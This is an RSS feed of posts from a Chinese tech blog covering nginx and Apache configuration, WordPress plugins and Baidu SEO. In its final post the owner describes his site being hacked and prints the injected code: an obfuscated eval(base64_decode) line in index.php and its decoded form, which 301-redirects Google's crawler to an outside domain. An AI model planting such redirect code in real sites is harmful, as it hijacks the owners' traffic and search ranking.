<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>清风无影 &#187; 网站优化</title>
	<atom:link href="http://imvoo.com/category/webseo/feed" rel="self" type="application/rss+xml" />
	<link>http://imvoo.com</link>
	<description>移动网络化生活，关注智能手机、网络、cms</description>
	<lastBuildDate>Sat, 25 Feb 2012 16:16:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</title>
		<link>http://imvoo.com/archives/521.html</link>
		<comments>http://imvoo.com/archives/521.html#comments</comments>
		<pubDate>Sat, 23 Oct 2010 02:34:05 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[lnmp]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=521</guid>
		<description><![CDATA[大部分PHP程序对于Rewrite规划都是针对Apache的，Apache的规划可以写在根目录.htaccess里，很容易被程序更新。Nginx的规划是写在配置文件里的，不能被程序直接访问到。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>LNMP=Linux+Nginx+Mysql+php，国内大部分是这样写的，国外也有写成LEMP的，其中E代表Nginx(egine X)。大部分PHP程序对于Rewrite规划都是针对Apache的，Apache的规划可以写在根目录.htaccess里，很容易被程序更新。Nginx的规划是写在配置文件里的，不能被程序直接访问到。</p>
<p><span id="more-521"></span></p>
<p>开启WP Super Cache后，更新.htaccess，把更新后的内容记录下来。</p>
<p>原规则不再此列出。</p>
<p>翻译成nginx支持的就是这样的，<a href="http://forum.slicehost.com/comments.php?DiscussionID=2087" target="_blank">nginx rewrite rules for WordPress + WP Super Cache</a></p>
<pre class="brush: php; title: 代码; notranslate">
location / {
 # enable search for precompressed files ending in  .gz
 # nginx needs to be complied using  -with-http_gzip_static_module
 # for this to work, comment out if using  nginx from aptitude
 gzip_static on;

# if the requested file exists, return it immediately
 if (-f  $request_filename) {
 break;
 }
 if ($HTTP_USER_AGENT  ~* '(2.0\  MMP|240x320|400X240|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo\  Wii|Nitro|Nokia|Opera\ Mini|Palm|PlayStation\  Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian\  OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows\  CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915\  Obigo|LGE\ VX|webOS|Nokia5800)') {
 rewrite . /index.php  last;
 }
 if ($HTTP_user_agent ~* '(2.0\  MMP|240x320|400X240|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo\  Wii|Nitro|Nokia|Opera\ Mini|Palm|PlayStation\  Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian\  OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows\  CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915\  Obigo|LGE\ VX|webOS|Nokia5800)') {
 rewrite . /index.php  last;
 }
 set $supercache_file '';
 set $supercache_uri  $request_uri;

if ($request_method = POST) {
 set $supercache_uri  '';
 }

# Using pretty permalinks, so bypass the cache for any query  string
 if ($query_string) {
 set $supercache_uri '';
 }

if ($http_cookie ~* &quot;comment_author_|wordpress|wp-postpass_&quot; )  {
 set $supercache_uri '';
 }

# if we haven't bypassed the cache, specify our supercache  file
 if ($supercache_uri ~ ^(.+)$) {
 set  $supercache_file  /wp-content/cache/supercache/$http_host/$1index.html;
 }

# only rewrite to the supercache file if it actually exists
 if  (-f $document_root$supercache_file) {
 rewrite ^(.*)$  $supercache_file break;
 }

# all other requests go to WordPress
 if (!-e  $request_filename) {
 rewrite . /index.php last;
 }
}
</pre>
<p>测试，发现手机访问正常。</p>
<p>2010年10月24日更新：</p>
<p>在wp-supercache里，选择Use PHP to serve cache files后，可以省略以上的规则，只添加</p>
<pre class="brush: php; title: 代码; notranslate">

location{
    if (!-e  $request_filename) {
        rewrite . /index.php last;
        }
    }
</pre>
<p>这么一个规则就可以了</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/465.html" title="WordPress插件推荐：侧边栏逻辑判断Widget Logic">WordPress插件推荐：侧边栏逻辑判断Widget Logic</a></li><li><a href="http://imvoo.com/archives/444.html" title="CentOS下LNMP环境的建立">CentOS下LNMP环境的建立</a></li><li><a href="http://imvoo.com/archives/411.html" title="Nginx下Wordpress的WP Super Cache不能写文件的问题">Nginx下Wordpress的WP Super Cache不能写文件的问题</a></li><li><a href="http://imvoo.com/archives/355.html" title="博客又一次被301转向了">博客又一次被301转向了</a></li><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/521.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress插件推荐：侧边栏逻辑判断Widget Logic</title>
		<link>http://imvoo.com/archives/465.html</link>
		<comments>http://imvoo.com/archives/465.html#comments</comments>
		<pubDate>Sun, 11 Apr 2010 01:18:01 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[推荐]]></category>
		<category><![CDATA[插件]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/465.html</guid>
		<description><![CDATA[比如说，你想友情链接的小工具只在首页出现，没有这个插件时，你可能需要修改模板才能实现，而已了这个插件，你不用再修改模板了，直接在小工具上添加一个判断语句就可以。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>这个插件有什么用呢？比如说，你想友情链接的小工具只在首页出现，没有这个插件时，你可能需要修改模板才能实现，而已了这个插件，你不用再修改模板了，直接在小工具上添加一个判断语句就可以。<br />
<span id="more-465"></span></p>
<h3>插件名：Widget Logic</h3>
<p>目前版本：0.47</p>
<p>功能：Control widgets with WP&#8217;s conditional tags is_home etc。利用Wordpress的条件判断tags来控制显示小工具（侧边栏）。</p>
<p>这个插件的好处就是换模板时，不用再修改模板了。直接在后台控制。</p>
<h3>基本条件判断Tag</h3>
<blockquote><p>is_home() : 是否为主页<br />
is_single() : 是否为内容页(Post)<br />
is_page() : 是否为内容页(Page)<br />
is_category() : 是否为Category/Archive页<br />
is_tag() : 是否为Tag存档页<br />
s_date() : 是否为指定日期存档页<br />
is_year() : 是否为指定年份存档页<br />
is_month() : 是否为指定月份存档页<br />
is_day() : 是否为指定日存档页<br />
is_time() : 是否为指定时间存档页<br />
is_archive() : 是否为存档页<br />
is_search() : 是否为搜索结果页<br />
s_404() : 是否为 “HTTP 404: Not Found” 错误页<br />
is_paged() : 主页/Category/Archive页是否以多页显示</p></blockquote>
<h3>应用示例</h3>
<p>1、只在首页显示</p>
<p>is_home()</p>
<p>2、不在首页显示</p>
<p>!is_home()</p>
<p>3、不在首页且不在日志页</p>
<p>!is_home() &amp;&amp; !is_single()</p>
<p>4、在首页、日志页、目录页</p>
<p>is_home() || is_single() ||is_category()</p>
<p>等等，其它你所需要的显示方式都可以实现，比在模板上修改方便了很多。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/238.html" title="WordPress WP-T-WAP插件的启用方法">WordPress WP-T-WAP插件的启用方法</a></li><li><a href="http://imvoo.com/archives/587.html" title="拼音别名插件 PinyinAlias 0.9 for Joomla1.7">拼音别名插件 PinyinAlias 0.9 for Joomla1.7</a></li><li><a href="http://imvoo.com/archives/550.html" title="Phoca GuestbookV2.0.1留言本插件 中文版 ">Phoca GuestbookV2.0.1留言本插件 中文版 </a></li><li><a href="http://imvoo.com/archives/540.html" title="Joomla1.6 拼音别名（Pinyin Alias）插件 Plugin">Joomla1.6 拼音别名（Pinyin Alias）插件 Plugin</a></li><li><a href="http://imvoo.com/archives/521.html" title="LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则">LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/465.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Nginx下WordPress的WP Super Cache不能写文件的问题</title>
		<link>http://imvoo.com/archives/411.html</link>
		<comments>http://imvoo.com/archives/411.html#comments</comments>
		<pubDate>Wed, 16 Sep 2009 17:47:52 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp super cache]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/411.html</guid>
		<description><![CDATA[Wp Super Cache是Wordpress下的缓存插件，从上次配置了Nginx+php来运行Wordpress时，其它一切都正常，只是后来发现Cache目录没有写入任何新的文件，只是有从前已经缓存的一些文件。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>Wp Super Cache是Wordpress下的缓存插件，从上次配置了Nginx+php来运行Wordpress时，其它一切都正常，只是后来发现Cache目录没有写入任何新的文件，只是有从前已经缓存的一些文件。</p>
<p><span id="more-411"></span></p>
<p>分析了一些问题：</p>
<p>1、没有写入的权限，改成777，但是网上又说要chown到nginx的user，这步也改了，但是还是不写入缓存。</p>
<p>2、不可能是重写问题，这个应该没有影响。</p>
<p>偶然打开页面的源文件，在最后发现有一句话：</p>
<p>&lt;!&#8211; WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! &#8211;&gt;</p>
<p>才想起来，从Windows主机搬到Linux主机后，这个文件没有改动过，于是造成了找不到wp-cache-phase1.php文件，当然也就写不成了。</p>
<p>PS：在Nignx+wp super cache让Wordpress跑的是飞快~~呵呵，虽然是美国的主机，但是看起来和国内差不多。另外，从在美国主机上下载国外的东西的速度来看，3M/s，而从美国主机上下载是300K/s，这个速度差距不是一般的大，这也说明了，带宽的屏颈不在于国外出口带宽，而在于国内的带宽。目前，联通正在升级带宽，希望新一轮的带宽升级能带来飞一般的感觉。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/521.html" title="LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则">LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</a></li><li><a href="http://imvoo.com/archives/465.html" title="WordPress插件推荐：侧边栏逻辑判断Widget Logic">WordPress插件推荐：侧边栏逻辑判断Widget Logic</a></li><li><a href="http://imvoo.com/archives/452.html" title="nginx 启动脚本">nginx 启动脚本</a></li><li><a href="http://imvoo.com/archives/444.html" title="CentOS下LNMP环境的建立">CentOS下LNMP环境的建立</a></li><li><a href="http://imvoo.com/archives/417.html" title="ghs.google.com的IP地址终于耗尽">ghs.google.com的IP地址终于耗尽</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/411.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IP地址对搜索引擎收录（百度）收录的影响</title>
		<link>http://imvoo.com/archives/409.html</link>
		<comments>http://imvoo.com/archives/409.html#comments</comments>
		<pubDate>Sun, 13 Sep 2009 11:17:29 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[ip地址]]></category>
		<category><![CDATA[影响]]></category>
		<category><![CDATA[收录]]></category>
		<category><![CDATA[百度]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/409.html</guid>
		<description><![CDATA[上次把博客的服务器更换到网通之后，发现本博客在百度上的收录正常了，首页的快照也能保持在三天之内了。而原服务器上的另一个网站还是出现这样的问题。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>一直很奇怪本博客在百度上的收录问题，前一个服务器上，用site:imvoo.com搜索时，经常不是排在第一，有时会被K掉，快照至少是15天以前的，内容页收录要1个月之后，流量大的页面直接被K等一系列问题。</p>
<p>而在前前一个服务器时，就没有出现这种问题，甚至内容页在15分钟之内就收录了。换到前一个服务器出现如上问题后，我按照网上的方法，对网站进行优化，基本上没有效果。PS:上述问题全部是在百度上产生的。</p>
<p><span id="more-409"></span></p>
<p>上次<a style="color: #2970a6; text-decoration: none; padding: 0px; margin: 0px;" rel="bookmark" href="http://imvoo.com/archives/403.html">把博客的服务器更换到网通</a>之后，发现本博客在百度上的收录正常了，首页的快照也能保持在三天之内了。而原服务器上的另一个网站还是出现这样的问题。</p>
<p>网站2个：imvoo.com   www.z***.com</p>
<p>imvoo.com前：收录不正常</p>
<p>换服务器之后：收录正常</p>
<p>前服务器另一个网站：收录一直就没有正常过，因为这个域名是第一次上线就在这个服务器</p>
<p>经分析，可能的原因：</p>
<p>1）原服务器访问不稳定，造成spider读取慢，而影响收录；</p>
<p>2）原服务器的其它网站出现问题被百度连带整个服务器降权；</p>
<p>3）类似于第二点，百度对虚拟主机用户作了降权处理；</p>
<p>为了验证，特开通一新网站作测试，<a href="http://malingshan.com" target="_blank">马陵山网</a>，用的是独立IP地址，当然，限于国内的环境和条件（备案太慢），只好把该网站建在国外。谷歌的收录还是非常迅速的，目前百度还没有动静，可以是没有做外链的原因。</p>
<p>A5论坛的一篇贴子：</p>
<blockquote><p>现在有两个例子：www.17huaxue.com 网站内容原创，天天更新，但是百度仅仅收录少量，原因：同ip的其他网站有垃圾站，被K了。这个ip的另一个网站也被k了，后来移动到其他的ip，收录恢复了。www.91huaxue.com，美国空间，刚做第二天就收录，原因：同ip没有其他中文站，百度没有不良记录。可见ip对收录有一定的影响。</p></blockquote>
<p>SEOWHY论坛的一篇贴子</p>
<blockquote><p>我做这两个网站http://hanyu.changxue5.com http://sfms.changxue5.com已经2个多星期了，各个方面的综合指数和同类型的网站比较了下差别不大，可依旧未被百度收录。<br style="word-wrap: break-word; line-height: normal;" />ps:我们公司还有同事做另外4个相似网站，但只有一台主机带动，ip地址相同,也同样做了两个星期未被收录，其他独立ip收录正常。</p></blockquote>
<p>从以上两个实例再加上我的实例来看，IP地址对百度的收录的确有影响，但并不是IP地址本身，而是该IP地址上的其它网站造成的。</p>
<p>等百度开始收录马陵山网之后，再作出总结性言论。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/131.html" title="高兴：百度收录恢复正常了">高兴：百度收录恢复正常了</a></li><li><a href="http://imvoo.com/archives/417.html" title="ghs.google.com的IP地址终于耗尽">ghs.google.com的IP地址终于耗尽</a></li><li><a href="http://imvoo.com/archives/385.html" title="百度改变直接搜索域名的结果">百度改变直接搜索域名的结果</a></li><li><a href="http://imvoo.com/archives/349.html" title=".tel域名和chi.mp服务">.tel域名和chi.mp服务</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/409.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>对Apache的Order Deny Allow的理解</title>
		<link>http://imvoo.com/archives/407.html</link>
		<comments>http://imvoo.com/archives/407.html#comments</comments>
		<pubDate>Tue, 08 Sep 2009 02:54:38 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[order指令]]></category>
		<category><![CDATA[理解]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/407.html</guid>
		<description><![CDATA[在测试Apache的mod_authz_host模块时，误把自己的IP中的3写成了8，造成和理解的不同，一时之间很纳闷，后来，再检查了一遍IP地址之后，才发现自己的错误。就把这个写下来，当作学习笔记吧。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>一连测试了几个集成的windows的apache+php+mysql安装环境，如APMServ,XAMPP,WAMPServer等，互相对比了一下，后两者虽然比较新，但是在我测试的环境下，总是出现问题，而我对于服务器的调试和配置不是很懂，造成配置困难。最后，还是使用了APMServ。</p>
<p><span id="more-407"></span></p>
<p>在测试Apache的mod_authz_host模块时，误把自己的IP中的3写成了8，造成和理解的不同，一时之间很纳闷，后来，再检查了一遍IP地址之后，才发现自己的错误。就把这个写下来，当作学习笔记吧。</p>
<p>先看文档的解释</p>
<p>Order:控制默认的访问状态与Allow和Deny指令生效的顺序</p>
<p>Allow:控制哪些主机能够访问服务器的该区域</p>
<p>Deny:控制哪些主机被禁止访问服务器</p>
<p>Order是来控制优先级的，如 Order Deny,Allow表示Allow的优先级高，也就是说，后面的指令的优先级高！如下面的指令：</p>
<p>Order Deny,Allow默认允许所有</p>
<p>Deny from 110.112 禁止IP地址110.112开头的所有</p>
<p>Allow From All 允许所有</p>
<p>这样，Apache就会解释默认允许所有，Deny说不允许110开头的，Allow说允许所有，那么Allow的优先级高，最后的结果就是这个IP会被允许访问。</p>
<p>如果把Order改成Allow,Deny，这样Deny的优先级就高了，虽然Allow允许所有，但是有高优先级的Deny，也就能禁止这个IP的访问了。</p>
<p>说白了，Order就是先判断和优先级的问题，后者的优先级高，可以否定前者。</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">控制哪些主机能够访问服务器的该区域</div>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/590.html" title="Apache with mpm-itk 2.2.19 for centos6.0">Apache with mpm-itk 2.2.19 for centos6.0</a></li><li><a href="http://imvoo.com/archives/565.html" title="让apache2运行时使用不同的用户权限">让apache2运行时使用不同的用户权限</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/407.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>百度改变直接搜索域名的结果</title>
		<link>http://imvoo.com/archives/385.html</link>
		<comments>http://imvoo.com/archives/385.html#comments</comments>
		<pubDate>Fri, 05 Jun 2009 14:10:52 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[百度]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/385.html</guid>
		<description><![CDATA[没有搜索结果，只有两个建议1、直接去该网站2、搜索包含该域名的网页(domain:imvoo.com)。 现在百度对这种搜索结果作出了改变，第一条是该域名首页，以下是包含该域名的网页。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>先说一说上一篇日志，准确的日期是6月3日23:59-6月5日00:00，所以现在开口说话。看到今天上午四川的公交车着火的新闻，无独有偶的是，在我上班的办公楼左前方，一辆小货车也发生了自燃，据说是在8：20分左右。另一篇新闻《<a href="http://finance.ifeng.com/news/hgjj/20090605/749218.shtml" target="_blank">福建永安规定购房额达25万元子女中考加10分</a>》，看了之后只有一个感觉：有些人的智商实在太高，完全适合去搞研究、搞发明创造。</p>
<p>说了以上，再入正题，今天用百度搜索域名的时候，发现其搜索结果已经变化了。</p>
<p><span id="more-385"></span></p>
<p>在以前百度搜索域名，如imvoo.com的时候，没有搜索结果，只有两个建议1、直接去该网站2、搜索包含该域名的网页(domain:imvoo.com)。 现在百度对这种搜索结果作出了改变，第一条是该域名首页，以下是包含该域名的网页。</p>
<div class="wp-caption aligncenter" style="width: 410px"><img class=" " title="百度域名搜索结果" src="http://lh6.ggpht.com/_SbB9RxjJztk/SikpIgly27I/AAAAAAAABHg/vH7c_dI0t1E/s400/baidusearch.jpg" alt="百度域名搜索结果" width="400" height="367" /><p class="wp-caption-text">百度域名搜索结果</p></div>
<p>百度这次的改动是符合大部分人的期望的，毕竟输入网址的地方不是浏览器的网址框，大部分人的目的不是直接到这个网站，既然把域名输入到搜索框了，还是想得到搜索结果的居多。而Google的搜索结果在我印象中，一直是这样的。</p>
<p>和Google的搜索结果相比较。</p>
<div class="wp-caption aligncenter" style="width: 410px"><img class=" " title="Google域名搜索结果" src="http://lh6.ggpht.com/_SbB9RxjJztk/SikpsfZ_PgI/AAAAAAAABHk/Wg9IvoMpv1U/s400/googlesearch.jpg" alt="Google域名搜索结果" width="400" height="331" /><p class="wp-caption-text">Google域名搜索结果</p></div>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/320.html" title="从一个关键字 看看Live Search和百度的搜索更正">从一个关键字 看看Live Search和百度的搜索更正</a></li><li><a href="http://imvoo.com/archives/349.html" title=".tel域名和chi.mp服务">.tel域名和chi.mp服务</a></li><li><a href="http://imvoo.com/archives/94.html" title="因为换了模板，百度搜索里的内容只剩11条了">因为换了模板，百度搜索里的内容只剩11条了</a></li><li><a href="http://imvoo.com/archives/448.html" title="Chrome五个扩展程序推荐">Chrome五个扩展程序推荐</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/385.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>博客又一次被301转向了</title>
		<link>http://imvoo.com/archives/355.html</link>
		<comments>http://imvoo.com/archives/355.html#comments</comments>
		<pubDate>Fri, 03 Apr 2009 17:58:15 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[301转向]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/355.html</guid>
		<description><![CDATA[与上次.htaccess被hack不同的是，这次被修改的文件是index.php文件，因为wordpress的访问时会首先访问index.php文件]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>这一次的情况和上次不同，上次是被修改了<em>.htaccess</em>文件，凡是访问的<em>useragent</em>包含<em>spider</em>, <em>bot</em>字样的都会被转向到某一个网站。与上次.htaccess被hack不同的是，这次被修改的文件是index.php文件，因为wordpress的访问时会首先访问index.php文件，所以只要在<em>index.php</em>的第一行加上一个条件301转向就能达到和上次.htaccess被修改相同的目的。</p>
<p> <span id="more-355"></span>
<p>可悲的是，这次由于是月底工作较忙的一段时间，也没有时间观测网站，造成了长达6天没有发现问题，现在连Pr值也降了，因为上个月末的几天正好是pr值更新的日子。</p>
<p>WordPress原带的.htaccess里有这一段：</p>
<p class="codesource">&lt;IfModule mod_rewrite.c&gt;    <br />RewriteCond %{REQUEST_FILENAME} !-f     <br />RewriteCond %{REQUEST_FILENAME} !-d     <br />RewriteRule . /index.php [L]     <br />&lt;/IfModule&gt;</p>
<p>然后index.php被修改为：</p>
<p class="codesource">eval (base64_decode(&quot;JGFnZW50PSRfU0VSVkVSW0hUVFBfVVNFUl9BR0VOVF07aWYgKHN0cmlzdHIoJ GFnZ50LCJnb29nbGUiKSl7aGVhZGVyKCJIVFRQLzEuMSAzMDEiKTtoZWFkZ    <br />XIoIkxvY2F0aWuOiBodHRwOi8vZG9vcm1vbmV5Lm5ldC8iKTtleGl0KCk7fQ==&quot;)); </p>
<p>这行解密后是：</p>
<p class="codesource">$agent=$_SERVER[HTTP_USER_AGENT];if (stristr($agent,&quot;google&quot;)){header(&quot;HTTP/1.1 301&quot;);header(&quot;Location: http://doormoney.net/&quot;);exit();}</p>
<p>我在发现网站被301转向后，在检查原代码的时候范了个错误，在检查了.htaccess没有差错之后，用了Notepad++的在文件中查找功能，搜索关键字google，当然没有找到，也没有打开index.php文件看一看。网站的访问纪录是只保留三天，也没有查到是从什么途径更改的文件，只有从网上找到一些Wordpress的安全设置来加强。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
